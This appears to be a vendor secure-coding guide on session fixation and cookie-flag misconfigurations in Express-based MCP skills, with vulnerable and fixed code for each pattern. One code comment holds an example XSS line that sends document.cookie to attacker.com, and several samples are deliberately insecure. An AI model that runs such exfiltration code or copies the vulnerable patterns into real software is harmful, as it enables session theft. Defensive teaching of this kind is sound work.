Claude MCP skill session fixation and cookie security misconfigurations — SA-SKL-AUTH5
Session management vulnerabilities in MCP skill deployments allow attackers to hijack user sessions without stealing credentials. Four SA-SKL-AUTH5 patterns cover the most dangerous cookie and session configuration mistakes: session fixation via failure to rotate the session ID on login, missing Secure flag allowing network interception, missing HttpOnly flag enabling XSS-based session theft, and SameSite=None without Secure — a configuration that is silently rejected by modern browsers but accepted by older ones, leaving users on legacy clients exposed to cross-site request forgery.
req.session.regenerate() on successful loginSecure flag; transmitted in plaintext on HTTP requests; interceptable on shared networks or HTTP-to-HTTPS redirect paths; fix: Secure flag + HSTSHttpOnly flag; accessible via document.cookie from any XSS payload on the origin; enables trivial session hijacking after XSS; fix: HttpOnly flag on all session cookiesSameSite=None without Secure flag; Chrome 80+ silently drops the cookie; older browsers allow cross-site requests to include it; fix: always pair SameSite=None with Secure, or prefer SameSite=Strict for session cookiesAUTH5-001 — Session fixation via missing session regeneration on login
Session fixation occurs when an application allows the session ID to remain the same before and after authentication. The attack scenario: the attacker visits the application without logging in, receives a session ID (e.g. JSESSIONID=attacker-known-value), and then tricks the victim into using the same session by injecting the session cookie via a URL parameter or a subdomain with shared cookie scope. When the victim logs in with that session ID, the session is now associated with the victim's account. The attacker, who already knows the session ID, now has full authenticated access without knowing the victim's password.
The fix is a single function call: req.session.regenerate() in Express-session, called after the login check succeeds and before setting any session variables. This generates a new session ID while preserving the session data, ensuring that any pre-authentication session ID is invalidated.
// VULNERABLE — AUTH5-001 (CRITICAL)
// Session ID not rotated after login. Session fixation attack possible.
import express from 'express';
import session from 'express-session';
const router = express.Router();
router.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.get('SELECT * FROM users WHERE username = ?', [username]);
if (!user || !await bcrypt.compare(password, user.password_hash)) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// VULNERABLE: session ID is NOT rotated here.
// The same session ID that existed pre-login now becomes authenticated.
// Attacker who set this session ID retains access.
req.session.userId = user.id;
req.session.role = user.role;
res.json({ success: true });
});
// FIXED — AUTH5-001
// req.session.regenerate() creates a new session ID on successful login.
// The old (potentially attacker-planted) session ID is invalidated.
router.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.get('SELECT * FROM users WHERE username = ?', [username]);
if (!user || !await bcrypt.compare(password, user.password_hash)) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// FIX: regenerate the session before writing authenticated state.
// This invalidates any pre-auth session ID (including attacker-planted ones).
req.session.regenerate((err) => {
if (err) return res.status(500).json({ error: 'Session error' });
req.session.userId = user.id;
req.session.role = user.role;
res.json({ success: true });
});
});
AUTH5-002 — Session cookie missing Secure flag
The Secure cookie attribute instructs the browser to only transmit the cookie over HTTPS connections, never over HTTP. Without it, the session cookie is included in every HTTP request to the domain — including requests that occur before the HTTPS redirect, on HTTP-only subdomains, or on shared networks where an attacker has an HTTP proxy between the user and the server. The session cookie arriving over HTTP is plaintext and can be read by any network observer, including the attacker's proxy or a coffee shop router. This is a particularly relevant risk in MCP skill deployments that have mixed HTTP/HTTPS configurations or development environments that share session cookies with production.
// VULNERABLE — AUTH5-002 (HIGH)
// Session cookie created without Secure flag.
// Transmitted in plaintext on HTTP requests.
app.use(session({
secret: process.env.SESSION_SECRET!,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
// VULNERABLE: Secure not set (defaults to false)
// Cookie will be sent over HTTP — interception possible
maxAge: 24 * 60 * 60 * 1000,
},
}));
// FIXED — AUTH5-002
// Secure flag prevents transmission over HTTP.
// Also set sameSite: 'strict' to block cross-site request inclusion.
app.use(session({
secret: process.env.SESSION_SECRET!,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true, // Only transmitted over HTTPS
sameSite: 'strict', // Not sent on cross-site navigations
maxAge: 24 * 60 * 60 * 1000,
},
}));
// Also enable HSTS so browsers never downgrade to HTTP:
// Strict-Transport-Security: max-age=31536000; includeSubDomains
AUTH5-003 — Session cookie missing HttpOnly flag
The HttpOnly cookie attribute instructs the browser to block JavaScript access to the cookie. Without it, any JavaScript executing on the page's origin can read the session cookie via document.cookie. This means that any XSS vulnerability — even a minor one, such as an unescaped username in a tooltip or an insufficiently sanitized markdown field — immediately escalates to full session hijacking: the attacker's script can exfiltrate the session token and use it to impersonate the victim from any network location. The HttpOnly flag does not prevent CSRF (the browser still sends the cookie on requests) but it severs the most direct path from XSS to session theft.
// VULNERABLE — AUTH5-003 (HIGH)
// HttpOnly not set. document.cookie exposes session token to XSS.
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
// VULNERABLE: httpOnly defaults to false in some session libraries
// Any XSS payload can run: fetch('https://attacker.com/?c=' + document.cookie)
secure: true,
maxAge: 7 * 24 * 60 * 60 * 1000,
},
}));
// FIXED — AUTH5-003
// httpOnly: true prevents document.cookie from exposing the session token.
app.use(session({
secret: process.env.SESSION_SECRET!,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // Blocks document.cookie access from JavaScript
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
},
}));
AUTH5-004 — SameSite=None without Secure flag
SameSite=None is used when a cookie must be sent on cross-site requests — for example, when a third-party embed or OAuth flow needs the cookie across origins. The CORS spec requires that SameSite=None always be paired with Secure. Chrome 80+ enforces this: a SameSite=None cookie without Secure is silently dropped. This means users on Chrome appear to work correctly (the insecure cookie is ignored), masking the vulnerability during testing. Users on older browsers — Firefox ESR before 2021, Safari 12.x, pre-2020 Chrome on mobile — will have the insecure SameSite=None cookie included in cross-site requests, making them vulnerable to CSRF attacks that CSRF protection was intended to prevent.
// VULNERABLE — AUTH5-004 (MEDIUM)
// SameSite=None without Secure. Chrome silently drops it; older browsers do not.
// Users on legacy browsers are exposed to CSRF via cross-site cookie inclusion.
res.cookie('sid', sessionId, {
sameSite: 'none', // VULNERABLE: 'none' requires Secure=true
// secure not set — Chrome 80+ drops the cookie; older browsers accept it
httpOnly: true,
maxAge: 3600000,
});
// FIXED — AUTH5-004
// Always pair SameSite=None with Secure. Prefer SameSite=Strict for session cookies.
// Only use SameSite=None when cross-site cookie access is genuinely required.
// Option A (preferred for session cookies): SameSite=Strict prevents cross-site inclusion entirely
res.cookie('sid', sessionId, {
sameSite: 'strict', // Not sent on cross-site navigations at all
secure: true,
httpOnly: true,
maxAge: 3600000,
});
// Option B (required for cross-site embeds): SameSite=None MUST have Secure
res.cookie('embed_token', embedToken, {
sameSite: 'none', // Cross-site allowed — only valid with secure: true
secure: true, // Required; Chrome rejects without this
httpOnly: true,
maxAge: 3600000,
});
SkillAudit detection: SA-SKL-AUTH5 scans for express-session, cookie-session, and res.cookie() calls that omit httpOnly, secure, or pair sameSite: 'none' without secure: true. Session routes are checked for missing req.session.regenerate() calls after successful authentication. Run a free audit at skillaudit.dev.
| Pattern | CVSS | Impact | Fix |
|---|---|---|---|
| AUTH5-001 session fixation | 9.8 Critical | Pre-planted session ID retains auth after victim login | req.session.regenerate() before writing auth state |
| AUTH5-002 missing Secure | 7.5 High | Session cookie transmitted over HTTP; interception | Secure flag + HSTS header |
| AUTH5-003 missing HttpOnly | 7.4 High | XSS reads session token via document.cookie | HttpOnly flag on all session cookies |
| AUTH5-004 SameSite=None sans Secure | 5.4 Medium | Older browsers include cookie on CSRF requests | Always pair SameSite=None with Secure |